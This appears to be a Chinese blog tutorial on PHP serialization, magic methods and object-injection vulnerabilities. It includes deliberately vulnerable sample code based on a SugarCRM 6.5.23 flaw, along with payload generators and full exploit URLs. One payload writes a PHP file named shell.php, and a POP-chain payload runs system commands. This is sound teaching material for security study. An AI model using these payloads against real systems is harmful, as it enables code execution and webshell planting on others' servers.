在理解对象注入之前要知道的一些东西。

PHP中的序列化

在说序列化之前,我记得以前有过这样一个疑问:为什么需要序列化?
后来我在网上搜到了这样一个回答很好的解决了我的疑问。

"你有一个应用程序,需要传一些数据给其它应用程序,但数据保存在你的进程的堆栈中,其它进程无法访问你的应用程序进程的堆栈,要想把你的程序的数据给其它程序使用,必须将数据以某种形式传给其它进程,这个‘某种形式’就是序列化 。"

写了一小段代码来查看PHP不同类型变量序列化后的样子。

<?php
    $v1 = 123;
    $v2 = 1.23;
    $v3 = '123';
    $v4 = true;
    $v5 = array();
    $v6 = array('key'=>1,2,3);
    class base{
    }
    class base2{
        public $v = '123';
    }
    $v7 = new base;
    $v8 = new base2;

    $i = 1;
    while($i < 9){
        echo serialize(${'v'.$i})."\n";        //PHP使用serialize函数进行序列化
        $i ++;
    }
?>

输出:

i:123;                 //整数类型:值;
d:1.23;                //双精度类型
s:3:"123";             //字符串类型:字符串长度:字符串的值;
b:1;                   //布尔类型,0或1
a:0:{}                 //数组类型:元素个数:{}
a:3:{s:3:"key";i:1;i:0;i:2;i:1;i:3;}
O:4:"base":0:{}        //对象类型:类名长度:类名:属性个数:{}
O:5:"base2":1:{s:1:"v";s:3:"123";}

可以看到变量序列化后会变成带有数据类型和值的字符串。其中数组的花括号里根据元素的键名和值(序列化后)依次排列,类对象的花括号里则是根据成员变量名和值(序列化后)依次排列。对象要留意的是只会序列化成员变量,而不会序列化其中的方法,执行序列化的代码还必须包含该类的定义。

PHP中的反序列化

反序列化就是将变量序列化后形成的字符串还原成原来的数据。可以写代码来看一下这个过程。

<?php
    $v1 = unserialize('s:3:"123";');    //PHP使用unserialize函数进行反序列化
    class base2{
        public $v;
    }
    $v2 = unserialize('O:5:"base2":1:{s:1:"v";s:3:"123";}');

    var_dump($v1);
    var_dump($v2);
?>

输出:

string(3) "123"
object(base2)#1 (1) {
  ["v"]=>
  string(3) "123"
}

可以看到反序列化后会得到原来的数据。要留意的是对象的反序列化代码中同样需要含有该类的定义。

PHP中的魔术方法

PHP的类含有一些实现特定功能的魔术方法,在对象注入的时候会用上这些方法。可以先来看一下这些方法的特点。

__construct()
在类实例化成对象的时候自动调用

__destruct()
在对象不再被使用时(将所有该对象的引用设为null)或者程序退出时自动调用

__sleep()
在对象被序列化前自动调用,该函数需要返回以类成员变量名作为元素的数组(该数组里的元素会影响类成员变量是否被序列化。只有出现在该数组元素里的类成员变量才会被序列化)

__wakeup()
在反序列化后自动调用

__toString()
在对象被当作字符串使用时自动调用

__invoke()
在对象被当作函数使用时自动调用

这里只是列了其中几个,PHP的类还包含一些用来实现属性和方法重载的魔术方法等等。
写代码来观察这些魔术方法被自动调用的过程。

<?php
    class Base{
        public $v1 = 123;
        public $v2 = '123';

        public function __construct(){
            echo "__construct is running.\n";
        }

        public function __destruct(){
            echo "__destruct is running.\n";
        }
        
        public function __sleep(){
            echo "__sleep is running.\n";
            return array('v1');        //这里只返回了v1,所以v2不会被序列化
        }

        public function __wakeup(){
            echo "__wakeup is running.\n";
        }

        public function __toString(){
            return "__toString is running.\n";
        }

        public function __invoke(){
            echo "__invoke is running.\n";
        }
    }

    $test = new Base();
    $s_test = serialize($test);
    print $s_test."\n";
    $us_test = unserialize($s_test);
    echo $test;
    $test();
?>

输出:

__construct is running.
__sleep is running.
O:4:"Base":1:{s:2:"v1";i:123;}
__wakeup is running.
__toString is running.
__invoke is running.
__destruct is running.
__destruct is running.

通过输出和之前的介绍,可以清楚的知道这些魔术方法在什么时候会被自动调用,这点对下面的对象注入是很重要的。

对象注入

往当前程序里注入一个定义好的类的对象。再结合类里的魔术方法中的一些存在安全问题的函数来进行攻击。这里可能造成的攻击是多种多样的,例如代码执行,SQLi等等。该类型漏洞高度依赖于魔术方法的自动触发特点。

对象注入漏洞出现的两个前提条件:

  1. unserialize的参数可控。
  2. 代码里有定义一个含有魔术方法的类,并且该方法里出现一些使用类成员变量作为参数的存在安全问题的函数。

简化之前SugarCRM v6.5.23对象注入漏洞写的一个代码例子:

<?php     
    class CacheFile{
        protected $_localStore = array();
        protected $_cacheFileName = 'externalCache.php';
        protected $_cacheChanged = false;
        function __construct(){
            //some code...
        }

        function __destruct(){
            if($this->_cacheChanged)
                file_put_contents($this->_cacheFileName, serialize($this->_localStore));
        }

        function __wakeup(){
            //some code...
        }
    }

    $data = unserialize($_REQUEST['rest_data']);
?>

构造payload的代码:

<?php 
     class CacheFile{
         protected $_localStore = '<?php phpinfo();?>';
         protected $_cacheFileName = 'shell.php';
         protected $_cacheChanged = true;
     }

     print urlencode(serialize(new CacheFile()));
?>

利用:

http://hack.lo/obi/?rest_data=O%3A9%3A%22CacheFile%22%3A3%3A{s%3A14%3A%22%00*%00_localStore%22%3Bs%3A18%3A%22%3C%3Fphp+phpinfo()%3B%3F%3E%22%3Bs%3A17%3A%22%00*%00_cacheFileName%22%3Bs%3A9%3A%22shell.php%22%3Bs%3A16%3A%22%00*%00_cacheChanged%22%3Bb%3A1%3B}

要留意类成员变量的访问限制关键字。

POP Chain

POP(Property-Oriented Programming),是Esser在2009年的时候提出的一个对象注入的利用方法。当你找到的魔术方法不可以直接利用,但它有调用其它方法或者使用其它的变量时,可以在其它的类中寻找同名的方法或是变量,直到到达一个可以利用的点。这样的攻击方法称为代码复用攻击(将内存中的代码片段一点一点的组合起来,并最终构造成一个可以利用的payload)。这个一步一步把代码连起来的攻击过程在PHP应用里被称为构造POP链对对象注入漏洞进行利用。
漏洞代码例子:

<?php 
    class Systeminfo{
        public $cmd = 'systeminfo';

        public function getinfo(){
            system($this->cmd);
        }

        public function show(){
            $this->getinfo();
        }
    }

    class Books{
        public $bookname = 'This is bookname!';

        public function show(){
            echo $this->bookname;
        }
    }

    class Display{
        public $handle;

        public function __construct(){
            $this->handle = new Books();
        }

        public function __destruct(){
            $this->handle->show();
        }
    }

    $data = unserialize($_REQUEST['data']);
?>

构造payload的代码:

<?php
    class Systeminfo{
        public $cmd = 'whoami';
    }
    class Display{
        public $handle;

        function __construct(){
            $this->handle = new Systeminfo;
        }
    }

    print serialize(new Display);
?>

利用:

http://hack.lo/obi/pop.php?data=O:7:"Display":1:{s:6:"handle";O:10:"Systeminfo":1:{s:3:"cmd";s:6:"whoami";}}

如何去发现该漏洞

  1. 寻找代码中参数可控的unserialize函数。
  2. 寻找类含有的魔术方法,观察找到的魔术方法的实现看能否被利用。

当找到一个参数可控的unserialize函数时,可以利用get_included_files来查看当前脚本包含有哪些文件,从而在这些文件里找有定义的类,再在这些类中找魔术方法。

参考

http://syssec.rub.de/media/emma/veroeffentlichungen/2014/09/10/POPChainGeneration-CCS14.pdf

标签: none

添加新评论